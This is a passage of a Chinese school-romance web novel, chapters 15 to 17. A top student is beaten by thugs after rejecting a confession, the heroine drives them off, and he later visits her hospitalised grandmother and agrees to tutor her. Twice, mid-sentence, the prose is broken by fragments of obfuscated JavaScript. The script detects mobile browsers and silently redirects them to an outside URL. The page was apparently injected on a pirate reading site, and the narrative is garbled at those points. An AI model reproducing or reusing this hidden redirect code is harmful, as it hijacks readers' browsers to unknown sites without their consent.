南鱼一脸复杂地盯着他离开的背影。 刘念娣说:“真的要让他去么?他知道买什么嘛?” “应该是知道的。”南鱼肚子疼的实在难受,她双手抱腿,压着肚子将脸埋在腿中。 程遇再回来时,他除了拎着一个黑色袋子外,手中拿着她的水杯。 他走过来,把黑色塑料袋放在她的身边,从兜里掏出来一盒药递给她。 看着他递过来的药,南鱼有些疑惑。 “这个说是能止疼,”程遇把她的水杯拧开,“刚接的温水。” 南鱼默默从他手中接过药和水。 她喝了药后又多喝了几口水,温水下肚,她觉得舒服了一点。 程遇从她手中接过余下的药,指着黑色袋子说:“你先去厕所吧。” 南鱼“哦”了一声,拎着袋子站了起来。 刘念娣陪她一起。 “程遇好细心呀,”刘念娣说,“他竟然真的知道买卫生巾。” 南鱼“嗯”了一声,不知道说些什么。 刘念娣一直在感叹,南鱼忍不住回头看了他一眼。 程遇拿着她的水杯,在她原来的位置坐了下来。 似乎有所感应,程遇往她的方向看了一眼,南鱼赶紧回头。 她的心控制不住地砰砰直跳,耳尖也有些泛红。 她突然觉得,有一种说不清道不明的情感在她心中溢开了。 15. 第 15 章 那几天程遇没有再逼着南鱼学习,南鱼竟然还觉得有点不太习惯。 难道自己是受虐狂? 南鱼摇摇头,把这乱七八糟的想法赶出脑袋。 奶奶知道她来了月经,这几天也十分注意,看着她不让她用凉水,每天早上还会给她煮一个红糖鸡蛋茶让她吃。 因为南鱼的月经来得格外不规律,有时候两三个月才来一次,但每一次来月经的时候,她几乎能疼晕过去。 这次有程遇买的药,再加上格外注意,她的经期没有像之前那么难受。 月经走后,南鱼发现程遇还是没有继续逼她学习的意思。 她偏头看过去,程遇正低头做题。 他的头发看起来像刚剪过,耳边没有碎发,看起来清爽利落。睫毛很长,他低着头垂下来,在冷白的眼睑投上一层淡淡的阴影。程遇神情专注地写题,嘴唇紧抿着,骨节分明的手握着笔,在演草纸上手随着笔不停移动。 南鱼一时愣住了,鬼使神差地说了句:“谢谢你那天的药,我已经没事儿了。” 程遇笔顿住了,他从题海中抬头,说了句:“不用客气。” 随后接着低头做题。 他的语气淡淡的,南鱼心里突然有些别扭,她敲了敲程遇的桌子,手撑着桌子凑到他面前,再次强调:“我已经没事儿了。” 程遇突然转过来看她,一张俊脸放大,南鱼呼吸一滞。 他们两个离得实在是太近了,近到南鱼觉得自己身体再往前倾一点,她就能亲到程遇脸上。 南鱼猛然后退,坐正身体,拉开两人之间的距离。 心跳加快,她的耳尖又红了起来。 程遇黑眸带笑,问她:“所以呢?” “你是想要学习了么?” 南鱼突然意识到自己刚才在干什么,她反应过来,“才不是!” “只是谢谢你的药而已,别多想!” “是么?”程遇弯了下唇。 “当然是!”南鱼连忙接话。 程遇“嗯”了声,没再多说,继续低头沉浸在题海中。 南鱼心中腾升起了一股烦躁,很莫名其妙的烦躁,她抓了抓头发,无处发泄,干脆趴在桌子上睡觉。 程遇停笔侧眸看了她一眼,忍不住扬了扬唇。 由于程遇这次成绩是山内镇一高多年以来头一人分数接近七百,所以哪怕是月考,学校领导为此也专门在周一升旗的时候腾出来了一些时间让他上台发表学习经验。 台下除了有高二的学生,还有高一高三的学生。 领导先在台上发言,南鱼无聊的站在台下打哈欠,刘德旋拿一个纸团丢了她一下,她回头,刘德旋冲她做鬼脸。 她翻了个白眼,没有理他。 没过一会儿,领导发完言,程遇上台。 听到他的名字,南鱼突然来了精神。 程遇穿着校服外套,南鱼发现,蓝白相间丑的不能行的校服穿在他身上好像格外得好看。他站在话筒面前,先调整了一下高度,接着,没什么情绪的话从话筒中传来:“各位同学好,我今天来和大家分享一下我的学习经验......” 程遇说了什么南鱼没听进去一点,她一直盯着他看。 他的个子很高,身形挺拔笔直,校服套在他身上,看起来干净平整。此时他对着话筒平静且认真的讲话,一双黑眸看向台下,神色宁和淡漠。 直到发言结束,操场上响起阵阵掌声,南鱼才回过神。 她看着程遇下了台,周围的女生传来一阵阵骚动。直到散场,她仍旧能听到很多女生对程遇的议论。 南鱼突然意识到,程遇好像更受欢迎了。 从那天起,他的抽屉里每天多了很多零食和情书。 一到下课,有许多女生过来向他问题,其中甚至不乏高一高三的女生。 零食和情书程遇没有收过,但别人问问题他会认真的回答。 万以荣也来问过几次问题,程遇给她讲了几次后,就把自己的学习笔记给了她,她有些惊讶,但还是收了下来。 看着每天程遇旁边围满了人,南鱼心中十分不爽。 这种不爽的情绪持续了将近半个月,南鱼终于爆发,她冷眼看着站在程遇旁边的女生,在回座位的时候用力地撞了她一下,“让一让!” 女生吃痛,抬头看她,秀眉紧蹙,细声细语的说:“你太过分了!” 南鱼挑了下眉,她记得这个女生,这个女生每天都会来找三四次程遇问问题。 “给我道歉!”女生对南鱼说。 “道歉?”南鱼冷笑一声,“我为什么要向你道歉?你挡住我回座位的路了,让你挪一下有错?” “那你也不能撞我,”女生抬高声音,说完,她委屈的看着程遇,“程遇,你就和这样的人坐同桌?” 南鱼的眼神一下冷了下来,“我哪种人?” 女生被南鱼的眼神吓到她,她半天不敢说话,眼眶很快红了下来,她咬着唇看程遇,想要程遇帮她说话。 程遇像是没有看到一样把她的书拿开,淡声道:“周学姐,以后不要再找我问问题了。” 程遇没有帮她的意思,周薇的眼泪快要掉下来,她拿着书,愤愤地看了南鱼一眼就离开了。 周薇走后,南鱼冷冷地看了程遇一眼,转身背对着他趴在了桌子上。 程遇盯着她的后脑勺看了几秒,问:“你生我气了么?” 南鱼听到,她抿了下唇,没有理他。 “是因为我跟别人讲题么?”程遇再次问。 听到“讲题”二字,南鱼噌的一下坐直身体,语气很冲:“你别跟我这种人说话行不行?” “你哪种人?”程遇漆黑的眼睛看着她。 “就我这种人,”南鱼面无表情,“不是什么好人。” 程遇突然笑了一下。 南鱼有些气恼,“你笑什么?” “谁说你不是好人,”程遇说,“你挺好的,在我心中。” 南鱼脸红了起来,她有些不自在地别过去脸,“别以为说这些我就不生气了。” “你果然生气了,”程遇笑,“为什么?能告诉我么?” “哪有那么多为什么?”南鱼烦躁的地抓了抓头发,“以后别让人来这问你问题,很烦。” 程遇愣了几秒,随后反应过来,他弯唇,声音温和:“好。” 他答应的痛快,南鱼张了张嘴,哼了一声就又趴在了桌子上。 徐奇知道了这件小插曲后,他又一次找了程遇。 “你的位置换一下吧,有同学反映去你那问问题时被南鱼针对。”这是徐奇第三次找程遇说这事儿,月考成绩刚出来后,徐奇就向程遇提议过两次,但都被他拒绝。 甚至第一次徐奇是直接帮他安排好了座位,但程遇不去,坚持要坐在原来的位置上。 “老师,那是那位同学挡到了南鱼回座位的路,所以才发生了一些小冲突。”程遇平静的叙述。 徐奇皱起了眉,“总之南鱼会影响到你,我还是建议你不要再坐在那里。” “没有影响,”程遇说,“我坐在那里很好。” “但是会影响到去找你问问题的人!”徐奇对他的态度有些不满。 “那跟我又有什么关系呢?”程遇双眸沉稳的看着他。 徐奇有些被气到了,一时说不出什么话。 “对了,老师,这件事情我刚好想跟您说,最近向我问题的人太多了,有些耽误到我学习了,麻烦您跟其他老师说一下,有什么问题他们可以优先找他们任课老师问。”程遇淡声道,“如果老师没有什么其他事情,那我就先走了。” 说完,不等徐奇反应,程遇转身离开了办公室,留下了气得不行的徐奇。 他回到教室,正好遇到从外面打完球的万高达。 万高达这次月考后就换了位置,没和程遇坐在一起。 看到他,万高达小跑过去搭上他的肩问,“我看你从办公室出来,老徐又找你干什么呢?” “他让我换位置。”程遇被他撞得一个趔趄,稳了稳身子说。 “那你换么?”万高达挠挠头问。 “不换。” 两人说着话进到了教室,完全没有注意到南鱼在他们身后。 看着程遇的背影,南鱼站在教室门外沉默了一会儿才跟着进去。 程遇觉得南鱼对他的态度有些怪怪的,她上课总是盯着他发呆,等他侧脸去看她时,她又收回了眼神假装趴在桌子上睡觉。 放学后,南鱼拎着书包就先离开了。 程遇坐在位置上做完最后一道题,开始慢悠悠地收拾东西,班里的人已经走得差不多了,他也拎着书包准备离开。 还没出教室,程遇就被周薇拦了下来。 “有事?”看着眼前的女生,程遇语气平静。 周薇捏着书包肩带,红着脸看向程遇,“程遇,我们能谈谈么?” “不能。”程遇绕过她,准备离开。 周薇有些急了,她去拉程遇的胳膊,“程遇,你别走。” “我喜欢你,程遇。”周薇说的慌乱。 这一幕刚好落在南鱼眼中。 “南鱼。”程遇有些着急地叫她。 她冷冷地看着周围拉着程遇胳膊的手,什么都没有说,回到自己位置上拿上落下的手机,用力的摔门离开。 程遇也彻底冷脸,他把周薇的手甩开,“学姐,麻烦你自重。” “我不喜欢你,请你以后不要再来找我了。” 他匆忙离开去追南鱼,周薇站在原地,红了眼眶。 程遇出了教室已经找不到南鱼的身影,他握了握拳,出了校门朝着南鱼家走。 到了南鱼家,奶奶来开的门,南鱼并没有回家,拒绝了奶奶热情的挽留,他想了一下又往KTV的方向走。 期间,刘雁花给他通了电话,程遇找了借口说晚上和同学在外面吃饭就挂了电话。 程遇找了KTV,又找了网吧,这些南鱼经常去的地方,可是南鱼都不在。 天已经黑透了,十一月的天,气温骤降,夜晚冷风直吹,程遇漫无目的地走在小巷中,思考着南鱼可能去的其他地方。 几个小混混一般模样的人拦住了他,程遇绷紧了脸,没有说话,掉头离开。 他的身后也拦了几个人,程遇这才明白,这些人就是冲着他来的。 “为什么拦我?”程遇冷静地问。 为首的一个混混穿这件花外套,脖子里还挂着大金项链,他叼着烟,一脸不屑地打量他,“就是你拒绝了我妹妹?” “你妹妹?”程遇疑惑。 大金链子提醒他,“周薇。” 程遇想起今天放学后拦着他向他告白的女生,皱了皱眉,“有问题么?” “当然,”大金链子猛吸一口烟,手指着他说,“你竟然敢拒绝她?你知不知道,从小就没人敢拒绝她!你算个什么东西,她能看上你是你的福气。” 程遇没有说话,一双黑眸平静地看着他。 “你,明天去和她说,你要跟她在一起。”大金链子命令他。 程遇利落拒绝:“不可能。” “哟呵!给脸不要脸了是吧?”大金链子把烟丢在地上,他冲身后的人招了下手,那几个人上前围住程遇。 “今天非得给你点教训瞧瞧,看看究竟是你嘴硬还是我拳头硬。” 程遇用力握紧书包,他沉下脸,冷冷地盯着面前的人。 “给我上!”大金链子一挥手,几个人摩拳擦掌地朝着程遇过去。 程遇退后一步,思考着如何脱身。 其中一个混混挥着拳头朝程遇过来,程遇侧身一躲,拎着书包甩在那人头上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283284|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那人吃痛,往后退了两步。 大金链子往地上吐了一口吐沫,“哟呵!还挺烈!” “我们一起上!”大金链子捋起袖子,也参与进来。 程遇双拳难敌四手,很快他被人压在地上。 大金链子蹲下来,居高临下地看着他,“你不是很硬气么?现在再给我硬气硬气。” 程遇冷眼看他。 “说,同不同意跟我妹妹在一起?”大金链子逼问他。 程遇不说话。 “行,还不同意是吧,”大金链子冷哼一声,“给我打,打到他同意为止。” 几个混混准备下手,程遇闭上了眼睛。 想象中的疼痛没有出现,反而大金链子猛地一阵哀嚎。 他睁开眼,看到南鱼站在他面前,拍了拍手上的灰。 南鱼冷笑一声,“我倒不知道周薇有你这样的护着她的哥哥。” 大金链子被南鱼踹了好远,他捂着肚子,看着南鱼脸色发白,好半天说不出来话,“你,你——” “我什么我?是不是我这几个月没出来,你就不认识我了?”南鱼看了一眼压在程遇身上的几个人,“你们还不松开?想让我也揍你们一顿?” 压在程遇身上的几个男生迅速松开了他,站在了大金链子身后。 南鱼板着张脸,她朝地上的程遇伸手,“起来。” 程遇借着她的力起身,“谢谢。” 南鱼打量他,程遇脸色苍白,他手捂着胸口,呼吸急促,似乎有些难受。 “谁干的?”南鱼看着前面的几个人。 几个混混不敢说话。 “我再问一遍?谁干的?”南鱼的声音低了几个度。 谁都能听出来,她在爆发边缘。 “南姐,我真不知道他是你罩着的,要是我知道,我真不敢对他动手啊!”大金链子小心翼翼地开口。 南鱼想要上前,程遇拉住她的手。 她回头看他。 “算了,南鱼。”程遇说。 南鱼目光平静,“我这是在帮你。” “我知道,已经够了。” 南鱼静静地看了程遇两秒,面无表情地转身离开。 程遇在地上捡起书包,跟了过去。 “南鱼。”程遇想要去拉南鱼。 南鱼甩开他,“别碰我!” 程遇向她道歉:“对不起。” “你有什么好对不起我的?”南鱼讽刺一笑。 “我今天不应该让周薇碰我。” 南鱼有些好气,“我管你们呢!” “我刚才拦着你不让你过去是不想让你受伤。”程遇解释。 “我不会受伤。”南鱼仍旧绷着一张脸。 “万一呢?”程遇皱眉,认真地看着她说,“我不想让你因为我受伤,哪怕有一点可能性也不行。” 南鱼愣住了,她怔怔地看着程遇,“为什么?” “因为我——” 程遇话没说完,几个醉醺醺的男人堵在了他们面前。 “就是她上次让我这么丢脸!哥们儿!给我上!” 程遇下意识地护在南鱼面前,他看过去,一眼看到了上次在KTV和他们有过过节的武哥。 武哥脸色通红,他站都有些站不稳,看来晚上喝了不少酒。 “哥们儿今天必须地找回面子,好好收拾这娘们儿一顿!”他指着南鱼,放下大话,“今天我非得让你跪在我面前求饶!” 说着,几个五大三粗的男人朝他们过来。 程遇皱了下眉,南鱼拉着他就往巷子外跑。 “快给我追!今天必须让我出了这口气!”几个男人追在他们身后。 夜深天冷,对于没有多少夜生活的山内镇上镇民早已在家休息,南鱼拉着程遇跑了好几条街,没看到一个人影。 他们在巷子里七拐八拐,但怎么也甩不开那群人。 “跟我来。”程遇拉着南鱼的手,拐弯朝一个方向跑去。 南鱼看了眼他的侧脸,冷风往后吹,程遇的头发被吹了起来,清俊深邃的眉眼全部露了出来,她的心突然漏了一拍。 程遇带着她跑到派出所,在保安亭后面找了个地方躲了起来。 两人蹲在保安亭后面,程遇探头看了看,那几个男人路过这里没有注意到他们,朝着前面继续追过去。 危险暂时解除,程遇松了口气。 他转身,南鱼正盯着他看。 目光相遇在空中,南鱼不自然地别开眼睛。 “你怎么突然拉着我跑了?”程遇问。 “不跑等着挨打么?”南鱼翻了个白眼。 “你不是很能打么?刚才还想着教训那几个拦我的小混混。” “......”南鱼站了起来,“还不是因为带着你,我是能打,万一他们去打你怎么办?那么几个人,我护不住你。” “是么?”程遇眼中带笑,“真是不好意思啊,是我拖累你了。” 南鱼哼了一声,“知道就好。” 两人并肩走在大街上,街上路灯明亮,将他们的身影拖得很长很长。 一路上他们谁都没有说话。 程遇沉默着将南鱼送回家,到了南鱼家巷子口,程遇站在路灯下没有再往里走。 察觉到他停下脚步,南鱼回头看他。 程遇神情温和,“我就从这儿回去了。” 南鱼“哦”了一声,没多说些什么。 她看着程遇背着书包离开,就在他的身影即将消失在拐角时,南鱼忍不住叫了他一声。 “程遇。” 程遇顿住脚步,回头。 南鱼面无表情的对他说了句:“明天见。” 说完,不再看他,转身离开。 程遇弯了下唇,对着她的背影也轻声回了句: “明天见。” 16. 第 16 章 南鱼回到家,奶奶房间的灯还亮着。 她有些奇怪,按照平时作息来说,这个时间奶奶应该要睡下了。 南鱼进了房间,敲了敲奶奶的门,里面没人回应。 南鱼以为奶奶睡着了忘记关灯,她轻轻地推门进去想要把灯关掉。 她推开门,就看看奶奶躺在地上,身边散落一地白色的药片。 “奶奶!”南鱼大脑一片空白,她慌乱地跑过去。 奶奶脸色苍白,南鱼颤抖着手去摸她的鼻息。 鼻息微弱,南鱼快急哭了。 无助感袭来,南鱼红着眼眶给刘铁打电话。 刘铁刚洗完澡出来,接到南鱼电话,就听到南鱼带着哭腔的声音:“刘铁,帮帮我,救救我奶奶。” 刘铁一刻都不敢停,开着车就往南鱼家赶。 两家离得不算太远,几分钟的时间刘铁就赶到了。 南鱼一个人不敢挪动奶奶,生怕出现什么意外。 给刘铁打完电话后,南鱼立马联系了镇上的医院。 刘铁进了屋子,他看到南鱼跪坐在地上抱着奶奶,眼睛通红。 “刘铁,拜托你帮我把奶奶送到医院,求求你。”南鱼祈求地看着他。 “你别急,我们先把她抬到车上。”刘铁安慰她。 南鱼擦了擦眼角的泪,和刘铁一起把奶奶抬到车子后座,南鱼跟着上了车,刘铁油门踩到底,以最快的速度把奶奶送到医院。 医院医生把奶奶推进抢救室,南鱼呆呆地蹲在门外的地上,像是丢了魂儿一样。 刘铁蹲在她面前,“别担心,奶奶会没事儿的。” 南鱼看了看他,胳膊抱紧双腿低声的啜泣起来。 刘铁叹了口气,默默地陪在她身边。 没过一会儿,医生从抢救室出来,南鱼擦了擦眼泪,连忙站了起来,“我奶奶怎么样了。” 医生摇头,“初步判断脑梗,我们医院的设备看的不够清晰,建议你们转到县里的大医院去看看。” “那我奶奶现在有事么?”南鱼眼中含泪。 “暂时没有生命危险。”医生说。 南鱼短暂的松了口气。 刘铁在一旁说:“那我们给奶奶办转院吧。” 南鱼疲惫地点点头。 接下来所有的事情都是刘铁在一旁帮着处理的,南鱼力不从心,从发现奶奶倒在地上后,南鱼整个人就没了精力。 忙了一晚上,帮奶奶在新的医院办好住院手续,刘铁从兜里掏出一张房卡塞到南鱼手中,“我在旁边的酒店定了个房,你先去休息会儿,我在这儿看着奶奶。” 南鱼拒绝了,“我不去。” “南鱼,听话,”刘铁叹了口气,“奶奶醒来看到你这么疲惫会难过的。” 南鱼眼眶又红了,她接过那张房卡,用力地攥在手中。 “谢谢。” “客气什么,”刘铁笑笑,“去吧,奶奶有什么情况了我给你打电话。” 南鱼点了下头,拿着房卡去了酒店。 她简单地洗了把脸,躺在床上,南鱼怎么也睡不着。她一闭上眼睛,满脑子都是奶奶倒在地上的场景。 南鱼的眼眶红了又红,她握紧拳,好几次逼着自己把眼泪咽回去。 实在睡不着,南鱼起身穿上外套再次回到了医院。 刘铁看到她皱了皱眉,“你怎么不休息会儿?” 南鱼把房卡还给他,“你先去休息吧,我睡不着。” 她坚持,刘铁无奈,“行吧。” 刘铁走后,南鱼静静地坐在奶奶病床前,她垂眸看着这个饱经风霜满脸皱纹的老人,小心翼翼地牵住她放在被子下的手,她的掌心仍旧温暖,南鱼的眼泪再一次落了下来。 程遇去学校的很早,从家里带了一瓶热牛奶放在了南鱼课桌上。 但直到这瓶牛奶放凉,程遇也没见南鱼来上学。 看着旁边空空的座位,程遇皱了皱眉,他觉得有些不对劲。 上午第二节下课,程遇去了隔壁班级找刘德旋。 知道他的来意,刘德旋挠挠头,“我也不知道南姐去干嘛了,今天早上我去等她上学都没等到,她家里好像也没人。” “我知道了。” 程遇道了谢,回到教室坐在位置上,程遇才突然意识到除了去她家里,他没有任何途径能联系到南鱼。 同桌这么久,他竟然没有南鱼的联系方式。 程遇觉得自己非常失败。 一上午过去,南鱼仍旧没来上课。 程遇做了一件他以前从没做过的决定,下午逃课去找南鱼。 他拎着书包往校门方向走去,周薇叫住他。 听到她的声音,程遇脚步都没停。 “等一下,程遇。”周薇小跑拦在他面前,俯着身体喘气。 “有事儿?”程遇仍旧是冷淡的态度。 周薇缓过来一点,她带着歉意的眼神看着程遇,“昨天晚上很抱歉,我不知道我哥去找你麻烦。” 程遇淡漠的看了她一下,没有说话越过她就要离开。 “程遇。”周薇叫他,下意识地去还要拉他的胳膊。 程遇眼神很冷,周薇讪讪地缩回了手。 “周薇,我不管你是不是知道这件事,但请你以后不要出现在我面前。”程遇冷声说完,不再理她,继续往校门口走。 保安拦住他,“你去哪?没到放学时间不能出校门,快回去!” “我身体不舒服,要去医院看病。”程遇扯了个理由。 保安不松口,“你拿班主任的假条过来。” 程遇站在门口僵持了一会儿,没有再纠缠,转身离开了。 保安在他身后嘟囔,“现在的小孩儿,还用这么烂的借口。” 正门出不去,程遇决定翻墙。 他沿着学校的围墙走,寻找一处隐蔽的适合翻墙的地方。 终于他找到了,是在一片小树林的后面,墙边地上脚印很多,一看就知道曾经有很多人从这个地方翻出去。 程遇把书包先丢了出去,他双手扒着墙,脚踩着砖头缝隙,一点一点地往上挪。 这是他第一次爬墙,所以他格外小心。 费了一些功夫,程遇终于翻了出去,他捡起地上的书包,拍了拍上面的土背到了肩上。 程遇先去了南鱼家里,他在门口敲了许久的门,没有人来给他开门。 看着铁迹斑驳的大门,程遇在那站了有好一会儿。 正准备离开时,刘铁开着车停到了大门口。 看到程遇,刘铁有些意外,不过没有向他搭话,拿着钥匙去开南鱼家的大门。 程遇站在一旁看着他的举动,皱了下眉问,“南鱼呢?” 刘铁打开大门,瞥了他一眼,“我为什么要告诉你?” 刘铁进了院子,程遇跟着进去。 里面的门没锁,刘铁进去找了南鱼的书包收拾东西。 程遇站在院子里等他,看到刘铁拿着南鱼的书包出来,他拦住刘铁,“告诉我,南鱼去哪了?” 刘铁皱眉,“起开。” 程遇没动。 刘铁冷笑一声,“你死了这条心吧,我是不可能告诉你南鱼去哪了。” “而且,你觉得南鱼会想让你知道么?” 程遇站在院子中,他看着刘铁出了门开车离开,用力地握紧拳头。 程遇离开前把大门锁好,他拎着书包又回了学校,他找到正在跟别人打闹的刘德旋。 “你知道南鱼手机号么?”程遇问他。 刘德旋点头,“知道啊。” 程遇从书包里把手机拿出来递给他,“你给南鱼打个电话问一下她在哪,不要说是我问的。” “哦哦,行。”刘德旋拿过手机,手停在键盘上了好久也没动。 对上程遇的眼神,他尴尬的笑了笑,“不好意思,我忘记了。” 程遇皱了下眉。 “是南姐的手机号么?”刘愿生凑过来,“我本儿上记得有。” 刘愿生把本子拿出来,刘德旋照着上面的数字打了过去。 对面很快接通,程遇呼吸都变轻了,他听着刘德旋和南鱼的对话,在听到她现在在医院时,程遇心一下抓紧。 挂断电话,程遇拿着手机就离开了。 刘德旋在他身后叫他:“你去哪呢?一会儿不是该上课了。” 程遇没有回答。 他从原来的地方又准备翻墙出去,不过这次没有那么好运,他刚上了墙,就听到身后有人冲他喊,“你是哪班的?快给我下来!” 程遇没有回头,他这次加快了速度,三两下翻了出去。 从墙上跳下来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283285|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一刻,他觉得腿脚被震的有些麻木。 怕有人出来找他,程遇没在那多缓一会儿,拎上书包匆匆离开。 南鱼在市里的医院,程遇不像刘铁一样有车,他只能在镇上等公交。 公交一趟来得慢,程遇站在公交站等的有些着急。 大约半个小时,程遇终于坐上了去往县城的公交。 他转了有两趟车才到南鱼奶奶在的医院,南鱼并没有和刘德旋说的那么仔细,所以程遇不知道南鱼奶奶在哪个科室哪个病房,他只能凭着他所知道的微乎其微的信息去猜去问。 站在神经内科病房区,程遇抬步走到护士站,正准备询问时,他余光看到南鱼从他斜后方的病房出来,她的身边还站着一个穿着白大褂的医生。 南鱼也看到了他,愣了几秒,又很快移开眼神。 和医生沟通完奶奶的情况,南鱼看到程遇走到了她面前。 “你怎么来了?”南鱼声音有些沙哑。 看着面前一脸憔悴的人,程遇皱了皱眉,“今天刘德旋的电话是我让他给你打的。” “你吃饭了么?”程遇问她。 南鱼摇头,“不饿。” “不饿也得吃点,”程遇眉头皱得更深了,“我去给你买点。” “程遇,”南鱼拦住他,“真不用,刘铁买的有饭,我不想吃。” 程遇脸色一僵,很快又恢复正常。 “奶奶怎么样了?”程遇问。 “医生说没什么大碍,可是她还没有醒过来。”南鱼垂着头,声音低落。 程遇心疼地看着她,抬了抬手轻轻地摸了下她的头发,“没事的,南鱼,一切都会好起来的。” 南鱼的鼻子又酸了,她不想在程遇面前落泪,努力地控制自己情绪。 “现在应该是上课时间吧,程遇,你逃课了?”再抬头,南鱼眼眶红红的。 “嗯,逃课了,”程遇说,“因为担心你,想来看看。” “你怎么出来的?学校中午不让出校门吧?” “翻墙,”程遇顿了一下说,半开玩笑的说,“还差点被逮到了,幸好我跑得快,要不然你今天就见不到我了。” 南鱼眉头紧蹙,“以后别干这么危险的事儿了。” “危险么?”程遇笑笑,“你之前不也翻墙呢。” “……那是之前。” 两人在门外聊了会儿,病房里传出奶奶微弱的声音:“小鱼儿。” 南鱼听到,连忙跑进病房。 奶奶睁开了眼,她躺在床上,满是皱纹的眼睛半眯着往门外方向看。 南鱼几步跑到她面前蹲下来,握住她苍老如枯枝的手,“奶奶,我在,我在这儿。” “我让你担心了,”奶奶叹了口气,“老了,不中用了,只会给人添麻烦。” “不麻烦,奶奶,您一点都没给我添麻烦,”南鱼声音有些抖,“你要快点好起来,还要看着我考大学呢。” “是哟,我家小鱼儿长大了,要考大学咯。”奶奶摸了摸南鱼的头发,笑得温和,“放心,我肯定会看着你考大学的。” 南鱼闭了闭眼,平复好自己情绪,睁眼笑着说:“只看着我考上大学可不够,以后我还要带着你到大城市看看呢,咱们多出去旅旅游。” “好,好,”奶奶声音微弱,她眼睛眯成一条缝,“我家小鱼儿最孝顺咯!” 南鱼在病房陪了奶奶一会儿,奶奶说自己有些累就又睡下了。 南鱼这才想起程遇,她轻手轻脚地出了病房门,程遇还在外面站着。 “你怎么没走?”南鱼问他。 程遇笑笑,“你这么想让我走?” “我不是这意思。”南鱼摇头。 “我知道,我已经逃课了,这么早回去也没意义,再陪你一会儿。”程遇弯了弯唇,声音柔和。 南鱼点了点头,程遇不想进去打扰奶奶,两人在外面找了个位置坐了下来。 “程遇。”南鱼叫了他一声。 程遇转身看向她,南鱼低着头,她弓着身子,双手放在膝盖上紧握,似乎是做了什么决定。 她的头发垂了下来,程遇看不清她脸上的神情。 程遇坐在那,静静地等着她的下文。 许久,南鱼终于抬起头,她侧脸看他,认真的对他说:“你给我辅导功课吧,我想学习了。” 17. 第 17 章 程遇没有说话,只是静静地看着她。 南鱼有些急了,她生怕程遇因为之前她的态度而拒绝她。 “我是认真的,我这次是真的想学习,你这次让我怎么学都行,我都听你的。” “好,”程遇手轻轻压在她的肩膀上,用最温柔的语气对她说,“我相信你。” 南鱼怔了片刻,“谢谢。” “不用客气。” 两人在长椅上坐了一会儿,程遇要赶回镇上的最后一班公交车,就起身离开了。 走之前,他对南鱼说:“后天我再来找你。” “找我?”南鱼疑惑。 “你不是说要学习?后天周六,我带资料来,”程遇打量她,“你不会刚说过的话就反悔吧?” 南鱼连忙道:“当然不是!” “行,那后天等我。” 程遇离开了,南鱼站在医院门口,目送着他的身影。直到他坐上公交车,南鱼才回病房。 从市里到镇上将近一个半小时路程,程遇回到家已经七点了。 见他回来,刘雁花连忙迎过去,“你去哪了?给你打电话也不接。” 程遇把手机拿出来,上面有好几个未接电话。 “手机开静音了,没听到。” “你今天下午没在学校?你班主任给我们打电话,可把我们急死了,”刘雁花问他,“你去哪里了?怎么会逃课呢?” 程遇没有说话,程国升有些生气,“程遇,你不像是会逃课的人。” “是不是有人带坏你了,是不是南鱼,”刘雁花念叨,“今天你班主任还在给我说这事儿,说他要给你换个好位置,你不愿意,非要和南鱼坐在一起。她可不是什么好孩子,程遇,听话,咱明天去了让你班主任给你换个好位置。” “我不换。”程遇淡淡的开口。 刘雁花愣了一下,似乎没想到他会不同意,“你为什么不换?” “没有人能够影响我,”程遇看着他们,“我坐在那里就很好。” “可是你今天逃课——”刘雁花有些不满。 “我逃课是我自己的事情,不是别人带坏我,”程遇说,“这跟我坐在哪里,我身边坐的是谁没有关系。” “那你说你今天为什么逃课?”刘雁花非要刨根问底。 “心情不好,”到底不想让两位老人太过担心,程遇软了语气,“我以后不会这样了。” 刘雁花张张嘴,还想说些什么,程国升拉着她,冲她摇摇头。 程遇回到了房间,透过房门,他能听到两位老人刻意压低的声音。 “孩子大了,有自己的想法,以后你就别管那么多了。” “那不是担心他。” “他有分寸。” “……” 程遇在书桌前呆坐了会儿,从书包里掏出纸笔开始做南鱼的学习规划。 次日去学校,徐奇把他叫到办公室也问了他昨天逃课的事情。 程遇以自己身体不舒服为理由搪塞了过去。 徐奇也没为难他,毕竟对于程遇来说,就算几节课没上也不影响。 再回到学校,仍旧有女生来向程遇问问题,程遇仍旧以最近身体不适为理由拒绝了,他对那些人说,“我们班班长万以荣成绩也很好,年级第二,你们有什么问题也可以问她。” 人都打发到万以荣那,万以荣不愿意了,她来找程遇,程遇正在整理知识点,头都没抬,“之前给了你学习笔记,就当是补偿了。” 万以荣:“……” 早知道不要了。 但没有早知道,而且再来一次万以荣还是会接过程遇的那本学习笔记,毕竟上面的内容对她帮助很大。 从那次起,万以荣没有再也没找程遇多说什么。 周六,程遇找了借口就坐车去了市里。 他来到医院时,南鱼正在给奶奶剥橘子,奶奶靠在病床上,精神看起来已经好很多了。 看到程遇,奶奶笑眯眯地招呼他,“快过来坐。” 程遇坐下,奶奶让南鱼给他拿橘子。 程遇想要拒绝,南鱼把一个橘子塞到他的手中,“尝尝吧,还挺甜的。” 她的指尖蹭到程遇掌心,传来一阵酥麻感,程遇喉结滚动,他盯着南鱼白皙干净的侧脸看了有一股会儿,缓了缓神把橘子剥开。 他尝了一瓣,确实很甜。 吃了橘子,程遇把带来的学习资料拿了出来。 南鱼把病床旁边的柜子移到旁边,在病床边坐了下来。 程遇坐在一旁的板凳上,看着南鱼做题。 南鱼基础差,程遇没有让她做套卷,而是从练习册上的内容开始学起。 